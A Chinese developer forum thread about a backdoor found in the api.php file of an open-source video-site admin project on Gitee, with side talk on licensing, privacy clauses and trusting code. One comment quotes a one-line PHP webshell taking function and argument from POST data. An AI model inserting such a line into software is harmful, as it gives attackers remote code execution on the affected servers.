有人问一个开源视频网站代码能不能给帮忙改改
看了一眼 知乎好家伙
https://gitee.com/positive-rain-cloud/zy-film-admin/blob/master/public/api.php
![]() |
1
holystrike 2021-11-12 18:06:58 +08:00 ![]() 够狠
不过生产环境是要禁用 eval()的 |
2
AoEiuV020 2021-11-12 18:11:36 +08:00
这就可以直说是后门了,假装成漏洞的后门,
|
3
AoEiuV020 2021-11-12 18:12:46 +08:00
好家伙,看错了,这是装都不装,特地上传的后门,
|
4
gabon 2021-11-12 18:12:53 +08:00 via Android ![]() 好家伙,看不懂 php ,哪位能解释下😂
|
![]() |
5
Trim21 2021-11-12 18:16:41 +08:00
这种又放了个原版 Apache-2.0 的 license ,又在 readme 说不让商用的,到底是按 apache 还是说按 readme...
|
![]() |
6
InDom 2021-11-12 18:18:28 +08:00
一句话木马。
<?php $_POST['a']()$_POST['b']; |
7
AoEiuV020 2021-11-12 18:24:39 +08:00
不过好歹比闭源好些,公开挂在网上有坑可能像这样被别人发现,闭源的话自己没发现问题就只能被坑了,
而且这 eval 也太粗暴了吧,我代码下载来解压直接报毒, |
![]() |
8
smallyu 2021-11-12 18:25:52 +08:00 ![]() 我觉得不是故意的
|
9
djkloop 2021-11-12 18:28:40 +08:00 via iPhone
|
11
djkloop 2021-11-12 18:35:40 +08:00 via iPhone
1 、对于免费版用户的用户资料,我方享有独家的、全球通用的、永久的、免费的资料许可使用权利(并有权在多个层面对该权利进行再授权),我方有权存储、整理、分析、使用、复制、修订、改写、发布、翻译、分发、执行和展示“您的资料”或制作其派生作品,或以任何形式将“您的资料”纳入其他作品内。
其中这条就离谱 |
12
AoEiuV020 2021-11-12 18:36:08 +08:00 via Android
@smallyu 我第一眼也以为不是故意的,然而他整个项目都没有功能有调用这个 api.php ,只能认为是故意埋的,
|
![]() |
14
skiy 2021-11-12 18:50:07 +08:00 ![]() 国外很多 npm 包经常被爆漏洞或者被黑,但人家是不经意的。但国内这些,不知道是“技术能力”的原因,还是故意为之。或者说对开源协议有什么自己独特的理解。
比如前段时间闹得沸沸扬扬的 DEDECMS 事件,有很多人推的这个“PbootCMS” https://gitee.com/hnaoyun/PbootCMS/blob/3.X/core/basic/Kernel.php 其实也是用 `eval`。 我只是好奇这些标榜 `Apache 2` 协议的,然后指定说某个文件不可以修改和破解的。以我的理解: “将这个文件解码出来后,然后再将建一个文件保存。不引用它的那个“授权”核心源码,而是引用这个文件。这个样子算所谓“破解”核心源码吗?。或者说,完全把那个文件删掉,再用新的文件来引入。这算是遵循 Apache2 的规范吗?” |
![]() |
15
efaun 2021-11-12 19:25:50 +08:00 ![]() gitee 上开源的东西我看都不看
|
![]() |
16
Osk 2021-11-12 19:31:43 +08:00 ![]() 一直如此, 大家都觉得开源的, 别人会帮我审核代码, 这不, 楼主这就帮我们审核了一次. /狗头保命 /
|
![]() |
17
Acoffice 2021-11-12 19:36:07 +08:00
差点以为已经开始投毒了呢
|
![]() |
18
josexy 2021-11-12 19:51:57 +08:00
我看得懂,而且我大受震撼😄
|
19
djkloop 2021-11-12 20:09:19 +08:00 via iPhone
@AoEiuV020 反正代码层面要注意,各方面都要注意,很多都是打着免费开源,在各地方给你留坑。像刚才滴滴那个开源的工具,就离谱。
|
![]() |
20
skiy 2021-11-12 20:29:45 +08:00
@djkloop 其实那个条款是违法的。http://www.npc.gov.cn/npc/c30834/202108/a8c4e3672c74491a80b53a172bb753fe.shtml
第一章第十条: “第十条 任何组织、个人不得非法收集、使用、加工、传输他人个人信息,不得非法买卖、提供或者公开他人个人信息;不得从事危害国家安全、公共利益的个人信息处理活动。”第十四、十五条……还有很多条款都很明确了。就怕他们对于“您的信息”的定义为“爱好”等无关信息了。 新版个人信息保护法很强,就看执行力度的问题了。要是遇到较真的用户,那绝对会一告一个准。可惜,在中国很多人都不喜欢跟法院和律师打交道。(在不涉及政治和制度等“官”层面,这方面法院应该会“公正”一些吧?) |
![]() |
21
Kasumi20 2021-11-12 22:32:17 +08:00 ![]() gitee 也叫开源, 圈地自萌吗
|
![]() |
22
nanjingwuyanzu 2021-11-12 22:39:52 +08:00
@Kasumi20 真实奥
|
![]() |
24
wonderfulcxm 2021-11-12 23:06:27 +08:00 via iPhone
把 eval 这种危险函数禁用。🙈
|
25
jiuhuicinv 2021-11-12 23:07:15 +08:00
这不是一句话木马么
|
![]() |
26
ijrou 2021-11-12 23:16:07 +08:00 ![]() 这是对小白的警告,对开发人员他们也知道防范不了,还不如一开始就埋坑
|
27
adai2 2021-11-12 23:50:38 +08:00
666
|
![]() |
28
crab 2021-11-13 00:05:44 +08:00
有可能是测试用的 webshell 方式图方便忘记删除,不然留后门没道理这么显眼,完全有隐藏和加密混淆的方式。
|
![]() |
29
CokeMine 2021-11-13 02:55:53 +08:00 via Android
这肯定是故意的吧。。
|
![]() |
30
ericls 2021-11-13 06:58:10 +08:00 via iPhone
源代码刚好开放的项目 不等于开源项目
|
31
newsj 2021-11-13 07:15:14 +08:00
厉害了
|
![]() |
32
whywaoxaks 2021-11-13 10:03:39 +08:00
呆萌!
|
33
jones2000 2021-11-13 11:23:46 +08:00
代码都开源了, 自己可以用第 3 放的安防扫描软件扫描代码不就可以了, 不合理的地方自己可以改源码,跟作者有什么关系。开源没有规定不能写 eval()这个函数吧。
|
![]() |
34
haoliang 2021-11-13 11:40:59 +08:00 ![]() 标题打击面太广了,真就“语不惊人死不休”
|
![]() |
35
westoy 2021-11-13 11:51:30 +08:00
@crab
有的 中古留后门法, 以前很多站长为了外链放的动网、动易的插件版都会留个重置 admin 的脚本......谁改 powered by 就上去砍他丫的.....php 时代才开始考虑构造上传不严谨+包含漏洞这种复用式的留后门办法..... |
36
cs419 2021-11-13 12:02:37 +08:00
|
37
LING97 2021-11-13 13:51:19 +08:00
现如今。。。
|
38
fewok 2021-11-13 14:45:58 +08:00
不怕,我们不用 php
|
39
xylophone21 2021-11-13 14:47:29 +08:00
其实一直不理解,像这种'xx 系统'这种业务层面的开源,其抽象程度真的能满足真实业务场景需求吗? 如果要改, 不是比自己重写还难受?
|
![]() |
40
qq316107934 2021-11-13 14:47:50 +08:00
@crab 测试用会故意伪装到 api 下吗?应该起个 test 之类的吧,放 tmp
|
41
Lemeng 2021-11-13 15:22:56 +08:00
目瞪口呆。。
|
42
magic996 2021-11-13 15:26:11 +08:00
xswl 他的测试站点把那个文件删了
|
44
majula 2021-11-13 16:19:15 +08:00 ![]() 这个问题其实是无解的
但即使你审阅了每行代码并自己编译,你仍然无法保证编译器是可信的 即使你的编译器是自己写的,你仍然需要用其他(无法信任的)编译器来编译它 除非这个编译器是你从一段手写的机器码开始,滚雪球式地编译出来 这样仍然不安全,除非你的 BIOS 、操作系统内核和 Coreutils 等其他工具也是这么编译出来的 可是这样也不够安全,因为 CPU 是无法信任的,你不知道它是不是会乖乖地执行你告诉它的机器码 但是好在 x86/arm 指令集是开放的,虽然我们造不了 CPU ,但是可以用 FPGA 模拟。FPGA 的原理相对简单,也有开源的实现,从头造出一个可以信任的 FPGA 并不是特别难。 好了,现在你手里拿着用 FPGA 模拟的 CPU ,有一个可以在上面跑的手写的编译器,还有用这个编译器编译出来 GNU/Linux ,然后在上面跑开源代码。如果上述的代码你都逐行审阅过,而且保证没有疏漏,这样你就基本能够保证跑的开源代码没有风险了。 听起来是不是很不现实?没错,在当今的互联网世界,即使我们谁都不愿信任,最终还是要信任某个人。我们数据的隐私和安全,都是从一次次无可奈何的信任开始丢失的。 |
![]() |
45
flyingyasin 2021-11-13 16:48:53 +08:00 ![]() @majula 犯了诡辩论的错误
|
47
zhlxsh 2021-11-14 09:28:30 +08:00 via iPhone ![]() 仓库打不开了已经
仓库已经被屏蔽,暂时无法正常访问 屏蔽原因:恶意违规 你可以 点击这里 查看解决方案 |
![]() |
48
lfzyx 2021-11-14 13:09:40 +08:00 ![]() 这就是开源的意义啊,你这不是发现了漏洞吗
闭源的都不会给你发现的机会 |
![]() |
50
pheyer 2021-11-14 18:09:47 +08:00
已经 403 了
|
![]() |
52
HiCode 2021-11-19 16:06:35 +08:00
那个开发者删掉后门又重新把代码放出来了!
|
53
Beize 2021-11-26 16:18:18 +08:00
实在抱歉,我的疏忽导致的这个问题。
发布到 gitee 之后,有人留言说发布木马,我们立马查看问题,经查询发现之前买的盲盒系统有后门,导致放到我们公司开发的项目里没有发现。发布到 gitee 的时候 也没有仔细检查。确实是我的失误,挨打就要立正,是我的错误。 |